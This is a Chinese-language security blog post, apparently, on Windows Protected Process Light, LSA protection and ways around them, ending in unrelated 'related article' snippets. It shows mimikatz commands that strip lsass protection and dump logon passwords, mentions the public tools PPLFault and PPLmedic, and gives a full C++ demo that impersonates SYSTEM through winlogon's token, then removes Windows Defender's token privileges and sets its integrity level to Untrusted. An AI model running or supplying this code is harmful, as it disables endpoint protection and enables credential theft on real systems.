WinDefender Weaker
PPL
Windows Vista / Server 2008引入 了受保护进程的概念,其目的不是保护您的数据或凭据。其最初目标是保护媒体内容并符合DRM (数字版权管理)要求。Microsoft开发了此机制,以便您的媒体播放器可以读取例如蓝光,同时 防止您复制其内容。当时的要求是映像文件(即可执行文件)必须使用特殊的Windows Media证 书进行数字签名(如Windows Internals的“受保护的过程”部分所述)。
在实践中,一个受保护的过程可通过未保护的过程仅具有非常有限的权限访问: PROCESS_QUERY_LIMITED_INFORMATION , PROCESS_SET_LIMITED_INFORMATION , PROCESS_TERMINATE 和 PROCESS_SUSPEND_RESUME 。对于某些高度敏感的过程,甚至可以减少 此设置。
从Windows 8.1 / Server 2012 R2开始,Microsoft引入了Protected Process Light的概 念。PPL实际上是对先前“受保护过程”模型的扩展,并添加了“保护级别”的概念,这基本上意味着 某些PP(L)进程可以比其他进程受到更多保护
进程保护的级别是会被添加到EPROCESS的内核结构中,并且具体存储再其Protection成员中。该protection成员是一个PS_PROTECTION结构
这个_PS_PROTECTION 结构如下,前3位代表保护 Type ,它定义过程是 PP 还是 PPL ,后4位代表 Signer 类 型,即实际的保护类型
typedef struct _PS_PROTECTION {
union {
UCHAR Level;
struct {
UCHAR Type : 3;
UCHAR Audit : 1; // Reserved
UCHAR Signer : 4;
};
};
} PS_PROTECTION, *PPS_PROTECTION;
对于这个结构来说,前3位代表保护 Type ,它定义过程是 PP 还是 PPL ,后4位代表 Signer 类 型,即实际的保护类型
typedef enum _PS_PROTECTED_TYPE {PsProtectedTypeNone = 0,PsProtectedTypeProtectedLight = 1,PsProtectedTypeProtected = 2
} PS_PROTECTED_TYPE, *PPS_PROTECTED_TYPE;
typedef enum _PS_PROTECTED_SIGNER {PsProtectedSignerNone = 0, // 0PsProtectedSignerAuthenticode, // 1PsProtectedSignerCodeGen, // 2PsProtectedSignerAntimalware, // 3PsProtectedSignerLsa, // 4PsProtectedSignerWindows, // 5PsProtectedSignerWinTcb, // 6PsProtectedSignerWinSystem, // 7PsProtectedSignerApp, // 8PsProtectedSignerMax // 9
} PS_PROTECTED_SIGNER, *PPS_PROTECTED_SIGNER;
进程的保护级别就通过上面这两个值的组和来定义
由此,借助API ZwQueryInformationProcess 我们就可以判断进程的PPL保护等级
bool FindProcessProtect()
{PS_PROTECTION ProtectInfo = { 0 };NTSTATUS ntStatus = ZwQueryInformationProcess(NtCurrentProcess(),ProcessProtectionInformation, &ProtectInfo, sizeof(ProtectInfo), NULL);bool = false;bool Result2 = false;if (NT_SUCCESS(ntStatus)){Result1 = ProtectInfo.Type == PsProtectedTypeNone && ProtectInfo.Signer == PsProtectedSignerNone;PROCESS_EXTENDED_BASIC_INFORMATION ProcessExtenedInfo = { 0 };ntStatus = ZwQueryInformationProcess(NtCurrentProcess(),ProcessBasicInformation, &ProcessExtenedInfo, sizeof(ProcessExtenedInfo), NULL);if (NT_SUCCESS(ntStatus)){Result2 = ProcessExtenedInfo.IsProtectedProcess == false &&ProcessExtenedInfo.IsSecureProcess == false;}}return Result2 && Result1;
}
Pr. | Process | Type | Signer | Level |
---|---|---|---|---|
1 | wininit.exe | Protected Light | WinTcb | PsProtectedSignerWinTcb-Light |
2 | svchost.exe | Protected Light | Lsa | PsProtectedSignerWindows-Light |
3 | MsMpEng.exe | Protected Light | Antimalware | PsProtectedSignerAntimalwareLight |
上面的表中我们可以看见,PPL内部也是分级的
wininit.exe signer为WinTcb,它是 PPL 的最高可能值,那么它可以访问其他两个进程,然后, svchost.exe可以访问MsMpEng.exe,因为signer级别Lsa高于Antimalware,最后,MsMpEng.exe不 能访问其他两个进程,因为它具有最低级别,不能访问其他两个进程,因为它具有最低级别。
我们也可以去
LSA
LSA 即 RunAsPPL ,虽然 lsass 进程有 PPL ,微软为了防止非管理非 PPL 进程通过开放访问或篡改 PPL 进程中的代码和数据推出了 LSA ,但是在一般情况下是并没有启用的,有可能是防御方通过注册表打开了PPL,或者是EDR开了
这里我以我的win10虚拟机为例,可以看见这个lsass.exe进程是没有开启PPL保护的
这时候我们使用mimikaz,密码是可以正常抓到的
手动开启LSA的方法是,找到注册表里面的HKLM\SYSTEM\CurrentControlSet\Control\Lsa 然后添加一个 DWORD 值 RunAsPPL ,并把值从0改为1即可,之后重启电脑
这时候我们再次打开Processmonitor,可以看见PPL已经被加上了
这时候我们再去使用mimikaz抓密码,很明显,不行
我们可以去gitee上找到mimikaz的源码,看看是怎么定义这个错误的
可以看见这里也是使用OpenProcess来打开进程获得句柄,我们当然知道,这里低权限进程是没有办法打开高权限进程的
之后if分支判断如果是INVALID_HANDLE_VALUE那么进入else分支,通过GetLastError把错误码打印出来,也就是我们看见的0x000005
mimdrv.sys
mimikaz里面提供了mimidrv.sys来绕过,在加载之后就可以关闭LSA保护
!+
!procoessprotect /process:lsass.exe /remove
sekurlsa::logonpasswords
不过直到我复现的2024.10这个时间节点,这个驱动的证书已经被吊销
PPL Fault
这里搬一个2023年4月份的项目,主要PPL Killer实在太老,一般这些PPL绕过的工具在公开了之后,很快就会被相关安全人员写入规则
gabriellandau/PPLFault (github.com)
By Gabriel Landau at Elastic Security.From PPLdump Is Dead. Long Live PPLdump! presented at Black Hat Asia 2023.
虽然现在应该是用不了了(正常打补丁的win),但是思路还是可以说一下
也是通过把WinTCb的ppl拿到,然后通过高权限(只要比Lsa高就行)
[+] Acquired exclusive oplock to file: C:\Windows\System32\devobj.dll[+] Ready. Spawning WinTcb.[+] SpawnPPL: Waiting for child process to finish.
PPL medic
https://github.com/itm4n/PPLmedic
也是一个公开的项目,应该也是被杀软标记了
摘除Windows defender的令牌
这里要提一点,在Win Pc的版本中对Win Defender有补丁,所以测试环境移到Win Server 2019上进行
通过Process Hacker查看WIndows Defender的令牌,我们可以看见如下
我们可以看见Win Defender以System权限启动
SYSTEM 用户可以完全控制令牌,这意味着,除非有其他机制保护令牌,否则以 SYSTEM 身份运行的线 程可以修改令牌,但是在windows中并没有保护令牌的机制,在 Process Hacker中 我们可以看到定义 的完整性为6种
Untrusted – processes that are logged on anonymously are automatically designated
as UntrustedLow – The Low integrity level is the level used by default for interaction with the
Internet. As long as Internet Explorer is run in its default state, Protected Mode, all files
and processes associated with it are assigned the Low integrity level. Some folders,
such as the Temporary Internet Folder, are also assigned the Low integrity level by
default.Medium – Medium is the context that most objects will run in. Standard users receive
the Medium integrity level, and any object not explicitly designated with a lower or
higher integrity level is Medium by default.High – Administrators are granted the High integrity level. This ensures that
Administrators are capable of interacting with and modifying objects assigned Medium
or Low integrity levels, but can also act on other objects with a High integrity level,
which standard users can not do.System – As the name implies, the System integrity level is reserved for the system.
The Windows kernel and core services are granted the System integrity level. Being
even higher than the High integrity level of Administrators protects these core
functions from being affected or compromised even by Administrators.Installer – The Installer integrity level is a special case and is the highest of all integrity
levels. By virtue of being equal to or higher than all other WIC integrity levels, objects
assigned the Installer integrity level are also able to uninstall all other objects.
一般匿名登录的进程被自动指定为Untrusted
比如我们的浏览器,它在系统上执行一些特权操作时,实际上都不是浏览器本身执行,而是代理给到了其他非沙盒的进程来代表它来执行操作。如果在这种情况下沙盒进程被利用,那么其他它造成的损害就会比较有限,比如我们下载到了一些恶意软件,会很快被识别出来并被Win Defender隔离
简而言之,Untrusted的进程对计算机的操作非常有限
所以我们可以换一个思路,不一定要提升我们恶意软件的进程,也可以降低这些杀软的进程等级
实现
核心函数(微软是给了demo的,但是要稍微改一下,名字叫做在 C++ 中启用和禁用特权)
BOOL SetPricilege(HANDLE hToken,LPCTSTR lpszPrivilege,BOOL bEnablePrivilege
)
{TOKEN_PRIVILEGES tp;LUID luid;//检索本地唯一标识符if(!LookupPrivilegeValue(NULL,lpszPrivilege,&luid)){printf("LookupPricilegeValue Error:%d\n",GetLastError());return FALSE;}tp.PrivilegeCount = 1;tp.Privileges[0].Luid = luid;if(bEnablePrivilege)//无论是否有bEnable标志,我们都设置特权标志为SE_PRIVILEGE_REMOVED,方便我们待会换掉原进程的令牌tp.Privileges[0].Attributes = SE_PRIVILEGE_REMOVED;elsetp.Privileges[0].Attributes = SE_PRIVILEGE_REMOVED;if (!AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(TOKEN_PRIVILEGES),(PTOKEN_PRIVILEGES)NULL,(PDWORD)NULL)){printf("AdjustTokenPrivileges Error:%d\n",GetLastError());return FALSE;}//如果失败返回FALSEif(GetLastError() == ERROR_NOT_ALL_ASSIGNED){printf("The token does not have the specified privilege\n");return FALSE;}
}
上面用到的结构和函数,我也是边看边学
typedef struct _TOKEN_PRIVILEGES {DWORD PrivilegeCount;LUID_AND_ATTRIBUTES Privileges[ANYSIZE_ARRAY];
} TOKEN_PRIVILEGES, *PTOKEN_PRIVILEGES;
BOOL AdjustTokenPrivileges([in] HANDLE TokenHandle,//包含要修改的权限的访问令牌的句柄。 句柄必须具有TOKEN_ADJUST_PRIVILEGES令牌的访问权限[in] BOOL DisableAllPrivileges,[in, optional] PTOKEN_PRIVILEGES NewState,//指向 TOKEN_PRIVILEGES 结构的指针[in] DWORD BufferLength,//结构大小[out, optional] PTOKEN_PRIVILEGES PreviousState,[out, optional] PDWORD ReturnLength
);
Return code | Description |
---|---|
ERROR_SUCCESS | 函数调整了所有指定的特权 |
ERROR_NOT_ALL_ASSIGNED | 令牌不具有NewState参数中指定的一个或多个权限。即使没有调整特权,函数也可能成功执行此错误值。PreviousState参数指示已调整的权限。 |
提权函数,启用当前进程的SE_DEBUG_NAME 权限
bool EnableDebugPrivilege(){HANDLE hToken;LUID sedebugnameValue;TOKEN_PRIVILEGES tkp;if(!OpenProcessToken(GetCurrentProcess(),TOEKN_ADJUST_PRIVILEGES | TOKEN_QUERY,&hToken)){printf("OpenProcessTokenError:%d\n",GetLastError());return FALSE;}if(!LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&sedebugnameValue)){printf("LookupPrivilegeValue Error:%d\n",GetLastError());CloseHandle(hToken);return false;}tkp.PrivilegeCount = 1;tkp,Privileges[0].Luid = sedebugnameValue;tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;if(!AdjustTokenPrivileges(hToken,FALSE,&tkp,sizeof(tkp),NULL,NULL)){CloseHandle(hToken);printf("AdjustTokenPrivileges Error:%d\n",GetLastError());return false;}
}
上面用到的api
BOOL OpenProcessToken([in] HANDLE ProcessHandle,//打开访问令牌的进程句柄[in] DWORD DesiredAccess,[out] PHANDLE TokenHandle//返回token的句柄
);
通过获取winlogon.exe这个进程的令牌,调用ImpersonateLoggedOnUser模拟系统用户获取权限
wchar_t procname[80] = L"winlogon.exe";int pid = getpid(procname);HANDLE phandle = OpenProcess(PROCESS_ALL_ACCESS,FALSE,pid);HANDLE ptoken;OpenProcessToken(phandle, TOKEN_READ | TOKEN_IMPERSONATE | TOKEN_DUPLICATE,
&ptoken);//拿到winlogon的权限if (ImpersonateLoggedOnUser(ptoken)) {printf("[*] Impersonated System!\n");}else {printf("[-] Failed to impersonate System...\n");}
CloseHandle(phandle);//防止泄漏
CloseHandle(ptoken);
在这之后,打开MsMpEng
LUID sedebugnameValue;
wchar_t procname2[80] = L"MsMpEng.exe";
pid = getpid(procname2);
phandle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);//也就是这里有补丁,目前貌似在新版win里面打不开这个进程
if (phandle != INVALID_HANDLE_VALUE) {printf("[*] Opened Target Handle\n");
}
else {printf("[-] Failed to open Process Handle\n");
}
这里的PROCESS_QUERY_LIMITED_INFORMATION对应我们OpenProcessToken需要的权限,不需要多拿
然后就是token的替换
BOOL token = OpenProcessToken(phandle, TOKEN_ALL_ACCESS, &ptoken);
if (token) {printf("[*] Opened Target Token Handle\n");
}
else {printf("[-] Failed to open Target Token Handle\n");
}
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sedebugnameValue);
TOKEN_PRIVILEGES tkp;tkp.PrivilegeCount = 1;
tkp.Privileges[0].Luid = sedebugnameValue;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;if (!AdjustTokenPrivileges(ptoken, FALSE, &tkp, sizeof(tkp), NULL, NULL)) {
printf("[-] Failed to Adjust Token's Privileges\n");
return 0;
}
之后调用SetPrivilege 将所有Token去掉
SetPrivilege(ptoken, SE_DEBUG_NAME, TRUE);
SetPrivilege(ptoken, SE_CHANGE_NOTIFY_NAME, TRUE);
SetPrivilege(ptoken, SE_TCB_NAME, TRUE);
SetPrivilege(ptoken, SE_IMPERSONATE_NAME, TRUE);
SetPrivilege(ptoken, SE_LOAD_DRIVER_NAME, TRUE);
SetPrivilege(ptoken, SE_RESTORE_NAME, TRUE);
SetPrivilege(ptoken, SE_BACKUP_NAME, TRUE);
SetPrivilege(ptoken, SE_SECURITY_NAME, TRUE);
SetPrivilege(ptoken, SE_SYSTEM_ENVIRONMENT_NAME, TRUE);
SetPrivilege(ptoken, SE_INCREASE_QUOTA_NAME, TRUE);
SetPrivilege(ptoken, SE_TAKE_OWNERSHIP_NAME, TRUE);
SetPrivilege(ptoken, SE_INC_BASE_PRIORITY_NAME, TRUE);
SetPrivilege(ptoken, SE_SHUTDOWN_NAME, TRUE);
SetPrivilege(ptoken, SE_ASSIGNPRIMARYTOKEN_NAME, TRUE);
SECURITY_MANDATORY_UNTRUSTED_RID 是一个常量,用于表示一个不受信任的安全完整性级别
DWORD integrityLevel = SECURITY_MANDATORY_UNTRUSTED_RID;
然后再将完整性设置为 Untrusted , Revision 为 SID_REVISION ,表示SID结构的版本号, SubAuthorityCount 为1,表示SID中子权限数组 SubAuthority 的元素数量, IdentifierAuthority.Value[5] 为16,表示用于表示完整性级别的标识符授权, SubAuthority[0] 为 integrityLevel ,表示进程的完整性级别,它是一个整数值
SID integrityLevelSid{};
integrityLevelSid.Revision = SID_REVISION;
integrityLevelSid.SubAuthorityCount = 1;
integrityLevelSid.IdentifierAuthority.Value[5] = 16;
integrityLevelSid.SubAuthority[0] = integrityLevel;
上面SID结构的定义
最后创建一个 TOKEN_MANDATORY_LABEL 结构体变量 tokenIntegrityLevel ,表示进程的安全令牌中的强制 完整性级别,然后通过 SetTokenInformation 将完整性设置为 Untrusted
TOKEN_MANDATORY_LABEL tokenIntegrityLevel = {};
tokenIntegrityLevel.Label.Attributes = SE_GROUP_INTEGRITY;
tokenIntegrityLevel.Label.Sid = &integrityLevelSid;
if (!SetTokenInformation(ptoken,TokenIntegrityLevel,&tokenIntegrityLevel,sizeof(TOKEN_MANDATORY_LABEL) + GetLengthSid(&integrityLevelSid)))
完整demo
#include <Windows.h>
#include <stdio.h>
#include <iostream>
#include <TlHelp32.h>
#include <conio.h>
bool EnableDebugPrivilege()
{HANDLE hToken;LUID sedebugnameValue;TOKEN_PRIVILEGES tkp;if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)){return FALSE;}if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sedebugnameValue)){CloseHandle(hToken);return false;}tkp.PrivilegeCount = 1;tkp.Privileges[0].Luid = sedebugnameValue;tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL)){CloseHandle(hToken);return false;}return true;
}
int getpid(LPCWSTR procname) {DWORD procPID = 0;LPCWSTR processName = L"";PROCESSENTRY32 processEntry = {};processEntry.dwSize = sizeof(PROCESSENTRY32);HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, procPID);if (Process32First(snapshot, &processEntry)){while (_wcsicmp(processName, procname) != 0){Process32Next(snapshot, &processEntry);processName = processEntry.szExeFile;procPID = processEntry.th32ProcessID;}printf("[+] Got %ls PID: %d\n", procname, procPID);}return procPID;}
BOOL SetPrivilege(
HANDLE hToken, // access token handle
LPCTSTR lpszPrivilege, // name of privilege to enable/disable
BOOL bEnablePrivilege // to enable or disable privilege
)
{
TOKEN_PRIVILEGES tp;
LUID luid;
if (!LookupPrivilegeValue(NULL, // lookup privilege on local system
lpszPrivilege, // privilege to lookup
&luid)) // receives LUID of privilege
{printf("LookupPrivilegeValue error: %u\n", GetLastError());return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
if (bEnablePrivilege)tp.Privileges[0].Attributes = SE_PRIVILEGE_REMOVED;
elsetp.Privileges[0].Attributes = SE_PRIVILEGE_REMOVED;
if (!AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(TOKEN_PRIVILEGES),(PTOKEN_PRIVILEGES)NULL,(PDWORD)NULL))
{printf("AdjustTokenPrivileges error: %u\n", GetLastError());return FALSE;
}
if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
{printf("The token does not have the specified privilege\n");return FALSE;
}return TRUE;
}
int main(int argc, char** argv)
{
LUID sedebugnameValue;
EnableDebugPrivilege();
wchar_t procname[80] = L"winlogon.exe";
int pid = getpid(procname);
HANDLE phandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
HANDLE ptoken;
OpenProcessToken(phandle, TOKEN_READ | TOKEN_IMPERSONATE | TOKEN_DUPLICATE,&ptoken);
if (ImpersonateLoggedOnUser(ptoken)) {printf("[*] Impersonated System!\n");
}
else {printf("[-] Failed to impersonate System...\n");
}
CloseHandle(phandle);
CloseHandle(ptoken);
wchar_t procname2[80] = L"MsMpEng.exe";
pid = getpid(procname2);
printf("[*] Bypass Defender...\n");
phandle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
if (phandle != INVALID_HANDLE_VALUE) {printf("[*] Opened Target Handle\n");
}
else {printf("[-] Failed to open Process Handle:%d\n", GetLastError());
}
BOOL token = OpenProcessToken(phandle, TOKEN_ALL_ACCESS, &ptoken);
if (token) {printf("[*] Opened Target Token Handle\n");
}
else {printf("[-] Failed to open Target Token Handle : %d\n", GetLastError());
}
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sedebugnameValue);
TOKEN_PRIVILEGES tkp;
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Luid = sedebugnameValue;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;if (!AdjustTokenPrivileges(ptoken, FALSE, &tkp, sizeof(tkp), NULL, NULL)) {printf("[-] Failed to Adjust Token's Privileges\n");return 0;
}SetPrivilege(ptoken, SE_DEBUG_NAME, TRUE);
SetPrivilege(ptoken, SE_CHANGE_NOTIFY_NAME, TRUE);
SetPrivilege(ptoken, SE_TCB_NAME, TRUE);
SetPrivilege(ptoken, SE_IMPERSONATE_NAME, TRUE);
SetPrivilege(ptoken, SE_LOAD_DRIVER_NAME, TRUE);
SetPrivilege(ptoken, SE_RESTORE_NAME, TRUE);
SetPrivilege(ptoken, SE_BACKUP_NAME, TRUE);
SetPrivilege(ptoken, SE_SECURITY_NAME, TRUE);
SetPrivilege(ptoken, SE_SYSTEM_ENVIRONMENT_NAME, TRUE);
SetPrivilege(ptoken, SE_INCREASE_QUOTA_NAME, TRUE);
SetPrivilege(ptoken, SE_TAKE_OWNERSHIP_NAME, TRUE);
SetPrivilege(ptoken, SE_INC_BASE_PRIORITY_NAME, TRUE);
SetPrivilege(ptoken, SE_SHUTDOWN_NAME, TRUE);
SetPrivilege(ptoken, SE_ASSIGNPRIMARYTOKEN_NAME, TRUE);
printf("[*] Removed All Privileges\n");DWORD integrityLevel = SECURITY_MANDATORY_UNTRUSTED_RID;
SID integrityLevelSid{};
integrityLevelSid.Revision = SID_REVISION;
integrityLevelSid.SubAuthorityCount = 1;
integrityLevelSid.IdentifierAuthority.Value[5] = 16;
integrityLevelSid.SubAuthority[0] = integrityLevel;TOKEN_MANDATORY_LABEL tokenIntegrityLevel = {};
tokenIntegrityLevel.Label.Attributes = SE_GROUP_INTEGRITY;
tokenIntegrityLevel.Label.Sid = &integrityLevelSid;
if (!SetTokenInformation(ptoken,TokenIntegrityLevel,&tokenIntegrityLevel,sizeof(TOKEN_MANDATORY_LABEL) + GetLengthSid(&integrityLevelSid)))
{printf("SetTokenInformation failed\n");
}
else {printf("[*] Token Integrity set to Untrusted\n");
}
CloseHandle(ptoken);
CloseHandle(phandle);
}
相关文章:

WinDefender Weaker
PPL Windows Vista / Server 2008引入 了受保护进程的概念,其目的不是保护您的数据或凭据。其最初目标是保护媒体内容并符合DRM (数字版权管理)要求。Microsoft开发了此机制,以便您的媒体播放器可以读取例如蓝光,同时…...

智能工厂的设计软件 为了监管控一体化的全能Supervisor 的监督学习 之 序5 架构for认知系统 总述 (架构全图)
本文提要 本文讨论的“智能工厂的设计软件” for认知系统的架构全图 ,这有别于前面所说的“智能工厂的设计软件”的“全景图”。两者在内容和侧重点上有所不同,但它们共同构成了对智能工厂设计软件的全面描述。 全景图是对智能工厂设计软件的整体概览&…...

vmware集群 vSAN HCL 数据库
HCL数据库升级 https://partnerweb.vmware.com/service/vsan/all.json VSAN版本目录升级 https://vcsa.vmware.com/ph/api/v1/results?deploymentId2d02e861-7e93-4954-9a73-b08692a330d1&collectorIdVsanCloudHealth.6_5&objectId0c3e9009-ba5d-4e5f6-bae8-f25ec5…...

人工智能引发直播革命:AI 技术塑造无人直播全新体验
在数字化浪潮席卷全球的今天,人工智能(AI)技术以其无与伦比的速度和广度,正深刻地改变着各行各业的面貌。其中,直播行业作为新媒体时代的宠儿,也迎来了由AI技术引领的颠覆性变革。这场由人工智能引发的直播…...

数据研发基础 | 什么是流批一体
流批一体的概念是可能出现在大厂的面试题中的,虽然就算大厂实习也没机会实操这样的高级操作,学一点概念,面试多少是能说上一两句的。大致就是希望一套代码能同时在批处理和流处理中运行(同时做离线计算和实时计算)。下…...

《Python网络安全项目实战》项目6 编写密码工具程序
《Python网络安全项目实战》项目6 编写密码工具程序 项目6 编写密码工具程序任务6.1 猜数字游戏任务描述任务分析任务实施6.1.1 编写基本的猜数字程序6.1.3 测试并修改程序6.1.4 给程序增加注释 任务拓展任务实施6.2.1 生成随机密码6.2.4 菜单功能 相关知识1. 密码字典2. 密码字…...

现代C++HTTP框架cinatra
文章目录 cinatra简介主要特点 快速上手编译器版本要求使用指南快速示例 项目地址 cinatra简介 cinatra是一个基于C20协程的高性能HTTP框架,它的目标是提供一个快速开发的C HTTP框架解决方案 它不仅支持HTTP/1.1和1.0,还支持SSL和WebSocket,…...

【功耗现象】com.gorgeous.lite后台Camera 使用2小时平均电流200mA耗电量400mAh现象
现象 轻颜相机(com.gorgeous.lite)后台Camera 使用2小时平均电流200mA(BugReport提供的电流参考数据),耗电量400mAh 即耗电占比(200mA*2h)/(12.83h*52.68mA )400mAh/623mAh62% CameraOct 10 202321:03:08 - 23:03:372h16m15s859ms to 4h16m44s984msactive duration: 2h 0m 29…...

06.VSCODE:备战大项目,CMake专项配置
娇小灵活的简捷配置不过是年轻人谈情说爱的玩具,帝国大厦的构建,终归要交给CMake去母仪天下。一个没有使用 CMake 的 C 项目,就像未来世界里的一台相声表演,有了德纲却无谦,观众笑着遗憾。—— 语出《双城记》作者&…...

还是小时候味道的麻辣片
麻辣片的诞生,源于人们对辣味的热爱和对丰富口感的追求。它将辣椒的火辣、香料的浓郁和豆制品的醇厚完美结合在一起,创造出了一种令人回味无穷的美食体验。无论是在学校的小卖部、街头的小吃摊,还是超市的货架上,麻辣片都以其鲜艳…...

GaussDB部署架构
GaussDB部署架构 云数据库GaussDB管理平台(TPOPS)基于B/S架构开发,由Web、管控Service、管控Agent三部分组成,软件结构如图1所示。 图1 各节点部署架构 Web:作为用户接入子系统,用于将用户在Web下发的操作…...

遥测数据采集工具Grafana Alloy
介绍 Alloy是Grafana产品公司旗下的一款新主推遥测数据采集工具,Grafana Alloy也是一个开源OpenTelemetry收集器,具有内置 Prometheus管道并支持指标、日志、跟踪和配置文件。Alloy支持为OTEL、Prometheus、Pyroscope、Loki等服务提供许多指标、日志、跟…...

线性数据结构
数组 数组(Array) 是一种很常见的数据结构。它由相同类型的元素(element)组成,并且是使用一块连续的内存来存储。 我们直接可以利用元素的索引(index)可以计算出该元素对应的存储地址。 数组…...

【ArcGIS微课1000例】0127:计算城市之间的距离
本文讲述,在ArcGIS中,计算城市(以地级城市为例)之间的距离,效果如下图所示: 一、数据准备 加载配套实验数据包中的地级市和行政区划矢量数据(订阅专栏后,从私信查收数据),如下图所示: 二、计算距离 1. 计算邻近表 ArcGIS提供了计算点和另外点之间距离的工具:分析…...

【算法】二分
1. 找到有序区间中 x 最左边的数字的位置 static int getL(int a[], int l, int r, int x) {while (l < r) {int mid l r >> 1;if (x < a[mid]) {r mid;} else {l mid 1;}}if (a[l] ! x) return -1;return l;} 2. 找到有序区间中 x 最右边的数字的位置 stati…...

ARM CCA机密计算安全模型之简介
安全之安全(security)博客目录导读 目录 1、引言 2、问题陈述 3、CCA 安全保证 3.1 对领域所有者的安全保证 3.2 对host环境的安全保证 Arm 机密计算架构(CCA)安全模型(SM)定义了 CCA 隔离架构的安全要求和基本安全属性。这…...

蓝桥杯-洛谷刷题-day3(C++)
目录 1.忽略回车的字符串输入 i.getline() ii.逐个字符的识别再输入 2.获取绝对值abs() 3.做题时的误区 4.多个变量的某一个到达判断条件 i.max() 5.[NOIP2016 提高组] 玩具谜题 i.代码 6.逻辑上的圆圈 i.有限个数n的数组 7.数组的定义 i.动态数组 1.忽略回车的字符串输…...

K8S资源限制之ResourceQuota
ResourceQuota介绍 在K8S中,大部分资源都可以指定到一个名称空间下,因此可以对一个名称空间的计算资源,存储资源,资源数量等维度做资源限制。 如限制pod数量、svc数量,控制器数量,限制PVC请求的存储量 注…...

释放高级功能:Nexusflows Athene-V2-Agent在工具使用和代理用例方面超越 GPT-4o
在不断发展的人工智能领域,Nexusflows 推出了 Athene-V2-Agent 作为其模型系列的强大补充。这种专门的代理模型设计用于在功能调用和代理应用中发挥出色作用,突破了人工智能所能达到的极限。 竞争优势 Athene-V2-Agent 不仅仅是另一种人工智能模型&…...

MongoDB索引操作和执行计划Explain()详解
一、索引操作 说明,下面的内容举例时,以"dailyTrip"collection为例。 字段内容如下: {"_id" : ObjectId("63ec5a971ddbe429cbeeffe3"), // object id"car_type" : "Gett", // string&…...

H3C NX30Pro刷机教程-2024-11-16
H3C NX30Pro刷机教程-2024-11-16 ref: http://www.ttcoder.cn/index.php/2024/11/03/h3c-nx30pro亲测无需分区备份 路由器-新机初始化设置路由器登录密码telnet进入路由器后台 刷机上传uboot到路由器后台在Windows环境下解压后的软件包中打开 tftpd64.exe在NX30Pro环境下通过以…...

无插件H5播放器EasyPlayer.js网页web无插件播放器vue和react详细介绍
EasyPlayer.js H5播放器,是一款能够同时支持HTTP、HTTP-FLV、HLS(m3u8)、WS、WEBRTC、FMP4视频直播与视频点播等多种协议,支持H.264、H.265、AAC、G711A、Mp3等多种音视频编码格式,支持MSE、WASM、WebCodec等多种解码方…...

HarmonyOS ArkUI(基于ArkTS) 开发布局 (中)
HarmonyOS ArkUI(基于ArkTS) 开发布局 (上) 四 层叠布局 (Stack) 层叠布局(StackLayout)用于在屏幕上预留一块区域来显示组件中的元素,提供元素可以重叠的布局。层叠布局通过Stack容器组件实现位置的固定定位与层叠&…...

org.springframework.context.support.ApplicationListenerDetector 详细介绍
一,功能介绍 early post-processor for detecting inner beans as ApplicationListeners 早期的PostProcessor用来检测并处理内部(inner)bean作为 ApplicationListeners BeanPostProcessor that detects beans which implement the Applica…...

MSTP实验
单点故障---冗余---环路---STP----RSTP-----MSTP MSTP 产生的背景 因为RSTP在局域网内所有VLAN 共享一棵生成树,如果链路被堵塞,将无法承载任何流量,所以为了实现流量负载均衡,MSTP诞生了。 生成树不是基于VLAN运行的ÿ…...

Linux---shell脚本
文章目录 目录 文章目录 前言 一.Shell脚本定义 shell脚本书写规范 shell脚本执行方式 二.Shell变量 变量定义 定义规范 定义方式 变量的运算 数值运算 数值比较 未完待续...... 前言 希望通过本文的学习,你能够掌握Shell脚本的基本知识和实用技巧,…...

Android12的ANR解析
0. 参考: ANR分析 深入理解 Android ANR 触发原理以及信息收集过程 1.ANR的触发分类: ANR分为4类: InputDispatchTimeout:输入事件分发超时5s,包括按键和触摸事件。BroadcastTimeout:比如前台广播在10s内未执行完成࿰…...

初学人工智不理解的名词3
TTS领域的名词 from gpt-4o 在 TTS(文本到语音合成) 领域,以下是 CFM、One-Step 蒸馏 和 ReFlow 的含义和作用的详细解释: 1. CFM(Consistent Flow Matching) Consistent Flow Matching(一致流…...

ADS项目笔记 1. 低噪声放大器LNA天线一体化设计
在传统射频结构的设计中,天线模块和有源电路部分相互分离,两者之间通过 50 Ω 传输线级联,这种设计需要在有源电路和天线之间建立无源网络,包括天线模块的输入匹配网络以及有源电路的匹配网络。这些无源网络不仅增加了系统的插入损…...

J.U.C - 深入解读阻塞队列实现原理源码
文章目录 Pre生产者-消费者模式阻塞队列 vs 普通队列JUC提供的7种适合与不同应用场景的阻塞队列插入操作:添加元素到队列中移除操作:从队列中移除元素。 ArrayBlockingQueue源码解析类结构指定初始容量及公平/非公平策略的构造函数根据已有集合初始化队列…...